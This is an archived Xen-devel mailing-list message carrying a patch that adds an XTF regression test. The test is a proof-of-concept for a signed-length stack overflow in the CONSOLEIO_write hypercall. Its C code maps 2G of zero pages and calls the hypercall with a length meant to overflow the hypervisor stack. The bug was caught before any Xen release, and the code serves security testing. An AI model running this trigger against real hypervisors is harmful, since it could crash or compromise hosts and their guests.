All of lore.kernel.org
 help / color / mirror / Atom feed
From: Andrew Cooper <andrew.cooper3@citrix.com>
To: <xen-devel@lists.xenproject.org>
Cc: Andrew Cooper <andrew.cooper3@citrix.com>
Subject: [Xen-devel] [PATCH XTF] CONSOLEIO_write stack overflow PoC
Date: Fri, 29 Nov 2019 14:35:09 +0000	[thread overview]
Message-ID: <20191129143509.26528-1-andrew.cooper3@citrix.com> (raw)
In-Reply-To: <5766dd2b-2aa7-bafe-56ad-3ea33ddf4591@suse.com>

Classify it as an XSA test (which arguably ought to be named 'security'),
despite no XSA being issues.

Signed-off-by: Andrew Cooper <andrew.cooper3@citrix.com>
---
 docs/all-tests.dox                 |  2 ++
 tests/xsa-consoleio-write/Makefile |  9 +++++
 tests/xsa-consoleio-write/main.c   | 69 ++++++++++++++++++++++++++++++++++++++
 3 files changed, 80 insertions(+)
 create mode 100644 tests/xsa-consoleio-write/Makefile
 create mode 100644 tests/xsa-consoleio-write/main.c

diff --git a/docs/all-tests.dox b/docs/all-tests.dox
index 50429127..bcf9b7ed 100644
--- a/docs/all-tests.dox
+++ b/docs/all-tests.dox
@@ -143,6 +143,8 @@ XSA-293 - See @ref test-pv-fsgsbase.
 @subpage test-xsa-298 - missing descriptor table limit checking in x86 PV
 emulation.
 
+@subpage test-xsa-consoleio-write - CONSOLEIO_write stack overflow
+
 
 @section index-utility Utilities
 
diff --git a/tests/xsa-consoleio-write/Makefile b/tests/xsa-consoleio-write/Makefile
new file mode 100644
index 00000000..d189b4de
--- /dev/null
+++ b/tests/xsa-consoleio-write/Makefile
@@ -0,0 +1,9 @@
+include $(ROOT)/build/common.mk
+
+NAME      := xsa-consoleio-write
+CATEGORY  := xsa
+TEST-ENVS := hvm32pae
+
+obj-perenv += main.o
+
+include $(ROOT)/build/gen.mk
diff --git a/tests/xsa-consoleio-write/main.c b/tests/xsa-consoleio-write/main.c
new file mode 100644
index 00000000..f10a6256
--- /dev/null
+++ b/tests/xsa-consoleio-write/main.c
@@ -0,0 +1,69 @@
+/**
+ * @file tests/xsa-consoleio-write/main.c
+ * @ref test-xsa-consoleio-write
+ *
+ * This issue was discovered before it made it into any released version of
+ * Xen.  Therefore, no XSA or CVE was issued.
+ *
+ * A bugfix in Xen 4.13 altered CONSOLEIO_write to tolerate passing NUL
+ * characters intact, as this is a requirement for various TTY setups.
+ *
+ * A signed-ness issue with the length calculation lead to a case where Xen
+ * will copy between 2 and 4G of guest provided data into a 128 byte object on
+ * the stack.
+ *
+ * @see tests/xsa-consoleio-write/main.c
+ */
+#include <xtf.h>
+
+const char test_title[] = "CONSOLEIO_write stack overflow PoC";
+
+uint8_t zero_page[PAGE_SIZE] __page_aligned_bss;
+
+/* Have the assembler build an L1/L2 pair mapping zero_page[] many times. */
+asm (".section \".data.page_aligned\", \"aw\";"
+     ".align 4096;"
+
+     "l1t:"
+     ".rept 512;"
+     ".long zero_page + "STR(PF_SYM(AD, P))", 0;"
+     ".endr;"
+     ".size l1t, . - l1t;"
+     ".type l1t, @object;"
+
+     "l2t:"
+     ".rept 512;"
+     ".long l1t + "STR(PF_SYM(AD, P))", 0;"
+     ".endr;"
+     ".size l2t, . - l2t;"
+     ".type l2t, @object;"
+
+     ".previous;"
+    );
+extern intpte_t l2t[512];
+
+void test_main(void)
+{
+    /* Map 2G worth of zero_page[] starting from 1G... */
+    pae_l3_identmap[1] = pae_l3_identmap[2] = pte_from_virt(l2t, PF_SYM(AD, P));
+
+    /*
+     * ... , write those zeros with a length possible to be confused by a
+     * signed bounds check...
+     */
+    hypercall_console_write(_p(GB(1)), 0x80000000);
+
+    /* ... and if Xen is still alive, it didn't trample over its own stack. */
+
+    xtf_success("Success: Not vulnerable to CONSOLEIO_write stack overflow\n");
+}
+
+/*
+ * Local variables:
+ * mode: C
+ * c-file-style: "BSD"
+ * c-basic-offset: 4
+ * tab-width: 4
+ * indent-tabs-mode: nil
+ * End:
+ */
-- 
2.11.0


_______________________________________________
Xen-devel mailing list
Xen-devel@lists.xenproject.org
https://lists.xenproject.org/mailman/listinfo/xen-devel

  parent reply	other threads:[~2019-11-29 14:35 UTC|newest]

Thread overview: 23+ messages / expand[flat|nested]  mbox.gz  Atom feed  top
2019-11-29 10:13 [Xen-devel] [PATCH] console: avoid buffer overflow in guest_console_write() Jan Beulich
2019-11-29 10:22 ` Andrew Cooper
2019-11-29 10:27   ` Jan Beulich
2019-11-29 12:01     ` Ian Jackson
2019-11-29 12:04       ` Andrew Cooper
2019-11-29 12:13       ` Jan Beulich
2019-11-29 12:15         ` Andrew Cooper
2019-11-29 12:19           ` Jan Beulich
2019-11-29 12:37             ` Andrew Cooper
2019-11-29 13:26               ` Jan Beulich
2019-11-29 13:37                 ` Jürgen Groß
2019-11-29 13:55                   ` Jan Beulich
2019-11-29 13:57                     ` Andrew Cooper
2019-11-29 13:57                     ` Jürgen Groß
2019-11-29 10:39 ` Julien Grall
2019-11-29 11:59 ` Ian Jackson
2019-11-29 12:15   ` Jan Beulich
2019-11-29 12:17     ` Andrew Cooper
2019-11-29 12:02 ` Jürgen Groß
2019-11-29 14:35 ` Andrew Cooper [this message]
2019-11-29 14:43   ` [Xen-devel] [PATCH XTF] CONSOLEIO_write stack overflow PoC Jan Beulich
2019-11-29 14:45     ` Jan Beulich
2019-11-29 14:50       ` Andrew Cooper

Reply instructions:

You may reply publicly to this message via plain-text email
using any one of the following methods:

* Save the following mbox file, import it into your mail client,
  and reply-to-all from there: mbox

  Avoid top-posting and favor interleaved quoting:
  https://en.wikipedia.org/wiki/Posting_style#Interleaved_style

* Reply using the --to, --cc, and --in-reply-to
  switches of git-send-email(1):

  git send-email \
    --in-reply-to=20191129143509.26528-1-andrew.cooper3@citrix.com \
    --to=andrew.cooper3@citrix.com \
    --cc=xen-devel@lists.xenproject.org \
    /path/to/YOUR_REPLY

  https://kernel.org/pub/software/scm/git/docs/git-send-email.html

* If your mail client supports setting the In-Reply-To header
  via mailto: links, try the mailto: link
Be sure your reply has a Subject: header at the top and a blank line before the message body.
This is an external index of several public inboxes,
see mirroring instructions on how to clone and mirror
all data and code used by this external index.